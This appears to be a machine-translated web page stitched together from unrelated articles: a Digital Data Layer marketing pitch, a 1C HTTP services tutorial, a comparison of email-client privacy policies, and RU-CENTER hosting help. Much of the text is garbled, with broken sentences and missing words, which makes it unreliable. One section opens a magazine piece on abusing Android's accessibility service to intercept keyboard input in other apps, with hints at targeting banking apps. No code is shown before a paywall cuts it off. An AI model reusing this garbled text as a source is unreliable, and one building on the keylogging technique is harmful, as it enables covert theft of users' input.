Menu
homeWord

Webhook - independent integration of third-party services. What data is stored in browser history? Reasons for increased resource consumption

It's no secret that what big amount The data you have about your customers, the more opportunities you have to build more personalized communications with the client, which directly affects conversion, loyalty and profit.

However, along with the rapidly growing amount of data, there are increasing difficulties in managing it effectively. A modern online store cooperates with a large number marketing partners, tags and services for which efficient work one way or another it is necessary to transmit various data about your own users.

In turn, each such partner has some unique knowledge about the client, which would also be useful to the online store. However, getting this data back is sometimes not so easy. Moreover, once you stop working with your partner, they can be lost forever.

Each third-party service owns a piece of the “puzzle”, knowing some information about the user. However, the store does not have a unified and holistic user profile.

Below is an example of what data each of the third-party systems may have. All this data is often isolated and the online store does not know how to get it:

It is becoming increasingly clear that there is a need to implement and standardize the process of transferring user data from an online store to a partner (to third-party tags) and back. The problem is that all affiliate systems have their own data structure, collect and transmit it in different ways.

This leads to the fact that the data on the client side is not organized in any way. There is no order, integrity or coherence. There is no control over how and by whom the data is collected and used.

Trying to make sense of this chaos of data takes away great amount time and money, which does not at all correspond to a fast and flexible data-driven culture. Employees of online stores have to spend time on routine things and endless integrations, instead of working on strategic tasks that directly affect profits. This significantly slows down the speed and efficiency of the organization as a whole.

Therefore, the most innovative companies have realized that before conducting any marketing activities, it is necessary to resolve the issue of data organization once and for all.

The project http://digitaldata.readme.io, launched a few days ago, is designed to solve this problem!

What is Digital Data Layer?

Today, any modern website has dozens of third party services and tags. Each of them performs different tasks and uses the data in its own format. Thus, the process of integrating such services becomes complex and inefficient. The site code becomes dirty and loading speed decreases. Things get even more complicated when it becomes necessary to transfer data between third-party systems and tags.

The standard was created to solve this problem. Digital Data Layer. This open set rules defining standards for interaction and data transfer between the site and third-party systems.

Digital Data Layer (DDL)- this is global JavaScript object, which contains all dynamic variables reflecting the current state of the page and user session. All variables inside the DDL can be used inside tag management systems, such as Google Tag Manager, as well as other vendors and scripts installed on the site.

For example, the DDL may contain information about the products being viewed (id, price, etc.), information about the user (name, email, whether this user is new or returning, whether he is subscribed to the newsletter or not), or information about the products that were just purchased on an e-commerce site.

Benefits of use

CLEAN CODE

If you look into the code of your Google Tag Manager you will see what chaos is going on there. Data is not organized. There is no order, integrity or consistency. There is no control over how and by whom the data is collected and used.

Each third-party service imposes its own format for transmitting the same data. Your site's code turns into a dump of calls to third-party tags, which leads to difficulties in understanding what is happening on the site.

With Digital Data Layer, code becomes unified and organized. The same data is used many times and simply converted into different formats.

ADVANCED SEGMENTATION

The presence of an implemented Digital Data Layer opens up opportunities for advanced segmentation. For example, DDL allows you to target marketing campaigns based on certain criteria:

  • Target users with LTV > 100,000 rubles.
  • which are for last month Didn't open a single email from the mailing list.

DDL also allows you to target users using historical data and data supplied by third-party scripts and tags.

ANALYTICS

On every page where Digital Data Layer is implemented - analytical systems get the opportunity to collect the information that is in it. This opens up additional opportunities for analytics and understanding how various variables affect conversion.

But more importantly, having this data helps determine potential problems Online. Data-driven hypotheses can then be developed to address them.

MANAGEMENT OF THIRD PARTY SERVICES AND TAGS

Every website very often comes across the need to install and configure new tags (scripts from third-party vendors). It’s easy to see that most tags require the same data, for example:

  • Order ID
  • Order price
  • List of purchased products
  • Product Name
  • Product ID
  • Page type

Once you integrate Digital Data Layer, you will be able to install new tags without any need to make changes to the site code. All this can be done directly in your Tag Management system.

TRANSFER OF DATA BETWEEN THIRD PARTY SERVICES

Want to show retargeting only to users who don't open your email campaign? Previously, such integration could take months. Now you just need to load data from ESP about the opening of letters into the Digital Data Layer, which will enable the retargeting system to build the desired segment.

FAST AND PAINLESS MIGRATION

Do you want to completely replace any third party system to another, or conduct a test between them?

Now migration will take you no more than 5 minutes. In this case, no changes to the site will be required, because all communication is now conducted through a standardized data layer.

BENEFIT FOR THE WHOLE TEAM

Digital Data Layer integration will be an invaluable investment in the future of your site, because... in essence, it is the foundation of data-driven marketing.

WHERE TO BEGIN?

Detailed documentation and examples of using DDL can be found on the website ddmanager.ru.

DDL implementation usually takes from 2 to 5 days. Once completed, any new integrations of third-party services will be done 8-10 times faster (often even without the involvement of IT specialists).

Digital Data Manager contains a lot useful functions for working with events and changes inside DDL. More detailed technical documentation can be found on the project website - http://digitaldata.readme.io/docs/working-with-events

In addition, Digital Data Manager allows you to add custom integrations, with which you can use DDL data and transfer it to Google Analytics, GTM, Driveback, Retail Rocket, Criteo and any other third-party system.

Let me start with the fact that I was once forced to deal with Web services on my own. Then, somehow, little by little, I managed to master this matter and understand what and where I needed to press for everything to work. Fortunately, the configuration we had to work with was already stuffed It was possible to look at it using Web services and do it by analogy, and on the Internet I was able to find enough articles on this matter. And so, using examples (for me it’s The best way study), I have mastered this matter, and now they no longer scare me.

SO. The main task of any integration, be it CD, Web services or HTTP services, is to transfer something from somewhere, do something with it, and return a response. This is the format in which we will consider the new technology.

In the metadata tree, HTTP services are located in the General branch:

Added new HTTP service just like any other metadata object. Name and synonym as you wish. Only the “Root URL” is important here - this is, in fact, the identifier HTTP service in this database, i.e. exactly what you write in this property is what you will pass to a third party developer(or for yourself) as a link to the service.

I don’t know if it’s possible to write here in Cyrillic, but so as not to be laughed at in the progressive world, write in Latin).

The Template property itself is important here:

Using a template, you can later refer to the data that was transferred to you. SO: all the data that you want to receive from the outside can be divided into 2 blocks - mandatory and optional.

Required data/parameters we push it into the template, thus if the person accessing the service does not fill them out, then the service will a priori generate an error, and when developing the text of the handler module, you will be sure that this data is there. How this is done: in the line Pattern in curly brackets “()”, alternating with the “/” sign, we write the names of the variables. For example, we definitely need an article - then we write /(artikul). If we need to get the article, name and username, the template string will look like this: /(artikul) /(name)/(user), etc. Each of these parameters in the text of the handler module can be obtained like this: Request.ParametersURL["<имя параметра>"]. If there are no required ones, then the template looks like this: /*.

Optional data, which we want to receive through the service, are NOT described in the template. When building a link to access a service, they are described at the end of the link after the "?" sign, separated by the ampersand character "&" and have the structure<имя параметра>=<значение параметра>. In the text of the handler module, they can be accessed with the following construct: Request.RequestParameters.Get("<имя параметра>"). BUT: it is important to remember that since they are not required, they may not exist; accordingly, we check the value for Undefined.

Next we add new method for our template. The HTTP method property is important here. There are a huge number of them, BUT we will not go into all the details. To implement any of your tasks you only need 2: GET And POST.

How to choose: If what we described in the previous two paragraphs is enough for your work, i.e. You can get all the data you need using the mandatory and optional parameters of the request itself, then we take GET. In this case, in any browser, if you enter the address bar correctly, you will see the result of your HTTP service - PROFIT! If suddenly your service requires data in more complex form(xml for example, or something else), what cannot be stuffed into a simple address bar, then we take POST. On the downside, such an easy check through the browser address bar, as with GET, will not work, but on the Internet you can easily find some sites where you can check services using the POST method (for example, the site https://www.hurl.it) . If the method is selected POST, then the request besides URL (addresses) a body appears into which you can stuff anything you want, and in the method handler you can access it through the Request.GetBodyAsString() construct. Any template can have both a GET and a POST method. They will have correspondingly different handlers, and 1C, depending on how the request was sent, will choose one method or another.

An HTTP service handler is a function that always returns a value of type HTTPServiceResponse, which is built by the constructor New HTTPServiceResponse(<КодСостояния>). <КодСостояния>- this is a number, so as not to have to worry about choosing what to write, we write: 200 - if everything is fine and you return some logical value, 400 - if there is an error and you return a description of the error. U of this type There is various methods(you can read it in the syntax assistant, everything is clearly written there). Again, you can always return everything you need as a string - the SetBodyFromString() method. (one little trick: if you return html and want the browser to display it beautifully on the screen when you enter the address of your service in the address bar, in the response Headers property write: Answer.Headers.Insert("Content-Type","text/html; charset=utf- 8") - thereby you indicate that this is not just a set of characters, but HTML and it must be shown accordingly)

After you've done everything, the HTTP service needs to be published. This is done on a computer with a web server installed (I won’t write about the settings, there are plenty of articles) through the menu:

Administration - Publishing on a web server.

There is a HTTP Services tab. Check the boxes and click "Publish"

So, we received a ready-made HTTP service. HOW to contact him? If we use the GET method, then in address bar browser write: http://<имя веб сервера>/<имя базы>/hs/<корневой URL>/<обязательный параметр1>/<обязательный параметр2> <имя не обязательного параметра 1>=<значение не обязательного параметра 1>&<имя не обязательного параметра 2> =<значение не обязательного параметра 2> .

And finally, once again in pictures))):

At the beginning of December, the long-awaited release of the desktop version took place mail client Spark for macOS. This application is popular on iPhone and iPad due to its attractive design, all the necessary (but not redundant) functionality, and large quantities popular fastening type options important letters, smart inbox, read receipts, and so on. Apple Company quickly added Spark for macOS to the list best apps year in Mac App Store, which only added to the popularity of this email client. Personally, I use Spark on iPhone, iPad Pro, and since the start of beta testing of the desktop version, he has abandoned the “heavy” AirMail on Mac. However, the free email client with user-friendly interface and still has excellent functionality underwater rocks. Developer Vladimir Shabanov on Facebook drew users' attention to Spark's privacy policy.

Why free unofficial ones are dangerous email applications like Spark? Because they get access to all your letters outside of your laptop, iPhone and gmail on their server - and when it is hacked, most of your accounts in stores, social networks, payment systems, dating, bookings, steam and dropboxes will also be hacked. And the companies that develop these apps have no incentive to invest in security because they don't charge you for the app.

In order not to copy too much large text with background, tips and conclusions, we recommend read about Spark in the publication of Vladimir Shabanov. And at iG, we asked ourselves: what is the actual situation with the collection and storage of user data when using third-party email clients? To do this, we looked into the “Privacy Policy” sections that are unpopular among most users and selected from there the main facts that you need to know when using third-party email clients on Mac. Briefly we're talking about that almost all applications send user data, including addresses, to developer servers Email, in some cases, passwords, email texts, contact lists, calendar data and various anonymized data. And some applications even collect device information, phone numbers, location, or completely copy all data available in the email account to the server. We also asked Yandex and Mail.ru regarding the collection of user data and letters when working with accounts of third-party services and the mechanism for sending push notifications about new letters, but company representatives were unable to promptly respond to the editor’s request.

Of course, every developer claims that user information stored on reliable servers like Amazon Web Services, and they all take some additional protective measures. However, is it necessary to say that we are not talking about one hundred percent security? While the largest and most reliable Internet companies sometimes leak user data, relying on the protection of small startups would be reckless. On the one hand, you can brush off all threats under the pretext that there is no secret data in your mail, but do not forget that even in the most boring mailbox there is a lot of interesting things for attackers. Nowadays, the email address serves as a key identifier to which payment system accounts are linked, social networks, various sites and services, and in some cases the email password matches other accounts, which increases the possible damage from hacking. Simply put, you cannot be careless when choosing an email client, and when using third party software It is imperative to understand exactly what data you are transmitting to developers.

Spark


1. In addition to impersonal statistical information When using the application, you may be asked to provide some personal information.
2. The first email address that is added is used as the username. It may send you emails with information about new features, updates, announcements, and requests to provide feedback on your use.
3. Spark servers are used only to deliver push notifications and in some cases send emails.
4. Accounts are added using OAuth authentication if possible. Otherwise, addresses and passwords are stored on an Amazon cloud server Web Services.
5. In addition to Amazon Web Services security policies, Spark uses a number of measures to prevent third parties from accessing data, as well as HTTPS protocol and asymmetric encryption of account data.
6. Spark uploads the subject and part of the email to the server to send the push notification and deletes this data immediately after the notification is delivered. Messages are stored encrypted on the server.


1. The mail client may request the voluntary transfer of data such as name, email address, phone number and bank card.
2. Polymail collects and stores data about usage scenarios of the application and its functions, as well as mobile devices on which it runs, including: operating system, smartphone or tablet model, unique identifiers devices, information mobile communications and phone number.
3. When using Polymail, developers can collect information about the user's location, IP addresses, GPS data, as well as information from other sensors of the mobile device.
4. Polymail collects and stores information about the contacts of users with whom you exchange letters. This data is used to improve the service.
5. Polymail collects and stores information about sent emails (subject and attachments) to provide read receipt functionality.
6. To improve the Polymail service, we index letters: the date the message was received, folders and sender names.
7. Cookies and other anonymous identifiers are collected and stored by Polymail and its partners.


1. Postal Airmail client does not collect or store emails on cloud servers. When using options such as Snooze Sync, all necessary data is synchronized directly between devices.
2. Airmail collects and stores data such as Cookies, anonymized information about application usage scenarios and email addresses.
3. Cookies are collected and used only for the purpose of identifying the user to save settings and to provide the services required by the user.
4. In some cases, access to data collected and stored on servers may be provided to certain employees associated with the work of Airmail: administrators, sales specialists, marketers, lawyers.
5. User data is collected to operate Airmail, as well as for the following purposes: interaction with third party social networks and platforms, managing contacts and sending messages, analytics, remarketing, behavioral targeting, for commercial purposes, for payment processing, interaction with the service technical support and feedback.


1. If the account does not support OAuth authentication, the login and password are stored on the AWS cloud server.
2. On cloud servers emails are downloaded to send push notifications.
3. Emails are downloaded within the last 14 days on mobile devices and 60 days on Mac.
4. Newton receives and stores information from our partners about users who send you email.
5. To use the Read Mark feature, Newton collects and stores data about sent emails.
6. Newton promises that it will not sell or transfer to third parties. personal information, and also uses the HTTPS protocol and additional tools protection when transmitting data to AWS servers.


1. Using the Canary email client does not provide access to users’ personal data and transfer it to cloud servers.


1. When creating an account, Nylas N1 collects and stores personal data, such as email address, first and last name, which can be used for identification.
2. When using the application, Nylas N1 collects and stores data account and associated passwords.
3. By entering your email account information you agree to grant Nylas N1 the rights to make a copy of all content mailbox, calendar and contact list.
4. Nylas N1 also uses automated data collection tools such as Cookies and Web Beacons.


1. Mail, calendars, files, contacts, settings and other data from it will be automatically synchronized with the device via a cloud server.
2. Outlook stores data on Microsoft servers for support additional features, such as quick search, personalized filtering of less important mail and adding attachments from linked storage providers.


1. On the official website of the application, the information in the “Privacy Policy” section applies only to the operation of the Unibox website itself. There is no information about the collection and storage of personal and anonymized data when using the Unibox email client.

Since version 1.6 in Android there is a “service special features" It is not difficult to guess for what purpose it was created, but we, as people striving for unlimited possibilities, are interested in this service from a slightly different angle. Today we will write a program that will allow us to monitor input in other applications!

Why do you need an accessibility service?

It allows you to expand the interface regular applications to help users with disabilities or those who may be temporarily unable to fully interact with the device. For example, users driving a car, caring for a small child, or being at a very noisy party may require additional or alternative interfaces feedback.

Android has standard service special capabilities - TalkBack. If necessary, developers can implement their own. It has been possible to write such services since time immemorial (Android 1.6, API level 4), and with Android 4.0 (API level 14) they received significant improvements. Through the “support library”, these improvements are also implemented for devices with API versions lower than 14.

This service allows you to view a description of all windows, running applications and receive data entered by the user (except for entered passwords; agree that logins and text messages is also sufficient in many cases).

In this article I will tell you how to implement a service for intercepting keyboard input as simply as possible.

To do this you need to create an heir AccessibilityService. In the connection method onServiceConnected we need to set an event filter (class AccessibilityServiceInfo) that the service will listen to. And in the method onAccessibilityEvent process these events.
In the application manifest, you must add the following lines to describe the service:

If everything is done correctly, then in the log you can see something like this:

OnAccessibilityEvent: TYPE_VIEW_TEXT_CHANGED android.widget.EditText com.android.chrome 113326642 website

Class AccessibilityServiceInfo allows you to set filters for certain applications (who said “mobile banks” or “social network clients”?). We can take screenshots based on the event we need.
This is done quite simply on a rooted device, and if there is no root, then you need to look for third-party libraries to get screenshots from the service.
Example code for getting a screenshot from the service on a rooted device:

Continuation is available only to subscribers

Option 1. Subscribe to Hacker to read all materials on the site

Subscription will allow you to read ALL paid materials on the site within the specified period.

We accept payments by bank cards, electronic money and transfers from mobile operator accounts.

Hosting resource usage statistics

  1. Each RU-CENTER virtual hosting service keeps records of the use of the following resources: RAM
  2. - the size of the allocated memory for running the software on the hosting, set in megabytes in accordance with the tariff plan.- time in seconds that the server processor spent executing a task, for example, a website script. The value of the 50% limit on processor time in the tariff plan means that over a period of 1 minute, the script can fully use 1 processor core for 30 seconds. The 200% limit means that for a period of 1 minute it is permissible to use 2 processor cores, that is, 120 seconds of processor time.
  3. Number of disk operations- the number of I/O operations performed by the storage system per minute.
  4. HDD reading- speed of reading information from the server disk, megabytes per minute.
  5. HDD recording- speed of recording information to the server disk, megabytes per minute.

Information on the use of resources is posted in the section Resources→ Statistics .

When you click on the chart, you go to detailed information on the use of a particular resource:

When you hover your cursor over a point on the graph, you will see resource consumption at that point in time.

Reasons for increased resource consumption

If the established tariff limits are exceeded, a notification is sent to the contact e-mail of the contract about the need to analyze the situation and take measures to reduce the load on the hosting.

The main reasons for increased resource consumption:

  1. Using a resource-intensive CMS, for example 1C-Bitrix. Choose.
  2. High site traffic. In this case, we recommend switching to or.
  3. Unoptimized scripts on the site- scripts whose execution algorithm is ineffective. For example: calculation of known data, non-optimal calculation methods, unnecessary cycles, etc.
  4. Unoptimized MySQL database queries. Problems can arise due to incorrectly formed indexes, large volumes of selected data, large query nesting, etc.
  5. Search robot activity. Robots can slow down a site if there are many of them and they are crawling simultaneously to update their search database.
  6. Malicious code on the site. The load on the server may be caused by malicious scripts running on the hosting.

Ways to reduce resource consumption

1. Disable unused Apache web server modules and PHP module extensions

By default, Apache modules are enabled on the hosting: auth_module, cgi, realip_module, rewrite_module, autoindex_module, env_module, expires_module

Check if you have the following Apache modules enabled and disable them: For most sites to run on PHP And MySQL they are not required. You can do this in the section
Control web server → PHP module management hosting control panels. To view the list of modules, click on the link Manage Extensions.

  • FastCGI- required if you independently install any software on your hosting that works as a FastCGI server.
  • gzip_module- required if you configure gzip compression. In addition to enabling the module, additional compression settings in the file are required .htaccess. Disable the module if you do not use this functionality.
  • mime_magic_module- allows the web server to determine mime types of files; for most sites, a standard mime_module is sufficient.
  • Perl- aka mod_perl, required for the operation of Perl scripts specially written for mod_perl. To run Perl scripts in most cases the module is used CGI(see article)
  • proxy_module- required if you plan to configure proxying of requests using the apache web server.
  • bandwidth_module, usertrack_module, speling_module, limitipconn_module- these modules consume a small amount of memory, but most sites do not need their functionality, so they can also be disabled.

PHP module extensions are managed in the hosting control panel section Control web server → PHP module management in accordance with the instructions.

  • Accelerator, APC- cache data in RAM, so they require a large amount of it. On virtual hosting, there is not enough RAM for these modules to operate effectively.
  • mysql, mysqli, pdo_mysql- modules for working with the MySQL database, usually the site requires one of them, disable the unused ones.
  • imagick, g.d.- modules for working with graphics, if the site can work with the gd library, it is better to use it, since it consumes significantly less memory.
  • imap- allows you to work with mail servers using the imap protocol; most sites do not require this function.
  • dba, sqlite, pgsql, pdo_sqlite, pdo_pgsql- modules for working with the corresponding DBMS. Most sites work using the MySQL DBMS; these modules can be disabled.

If you are not sure whether a particular module is needed for the site to work, you can analyze the impact of a particular module on the site’s operation by disabling them one by one and checking the sites’ correct operation.

2. Analyze the site's log files

On hosting, the following log files are located in the /var/log/ directory:

  • /var/log/your_domain.access.log – log of requests to the site,
  • /var/log/your_domain.error.log – error log.

You can view them when connecting to hosting via . You can download log files using the file manager of the control panel. You will be able to see what requests were made to the site during moments of high memory consumption.

Indexation of the site by search robots, especially several at the same time, a jump in traffic - all this causes an increase in memory consumption. Some search engines allow you to limit the intensity of their robots' requests per unit of time. Information about these settings can be found in the documentation of these search engines.

3. Check the operation of site scripts with third-party servers

If your site receives data from third-party services, their slowdown or unavailability may impact your site's performance. The slower the third-party service responds, the longer the processes spend in RAM Apache.

4. Analyze the operation of site scripts and queries to the MySQL database

Script optimization should aim to minimize RAM usage and the time required to execute the script. Cache data that is rarely updated.

We recommend consulting with site developers regarding optimizing SQL queries. The faster queries are executed by the database server, the faster the web server will receive the necessary data, generate a response to the client, and free up memory.

To view the database queries that arise when accessing the site and their execution time, you can use the interface, tab Processes.

Optimizing database queries should be reduced to the following results:

  • all queries use indexes to select data,
  • The use of temporary files and filesort operations has been minimized.

All this data for each of the requests can be obtained using the command EXPLAIN according to the MySQL documentation.

5. Analyze the site layout

We recommend optimizing the site layout by reducing the number of loaded elements. The fewer requests to the server, the lower the total request processing time and the number of running web server processes, and, therefore, the lower the memory consumption.

6. Check the site for malicious code

Most sites built on the basis popular CMS, have certain security vulnerabilities. Developers regularly release updates to eliminate vulnerabilities, but it is not always possible to protect against hacking. This is due to the fact that hacking most often occurs through third-party plugins or modified themes.

Check your hosting for availability malicious code by using .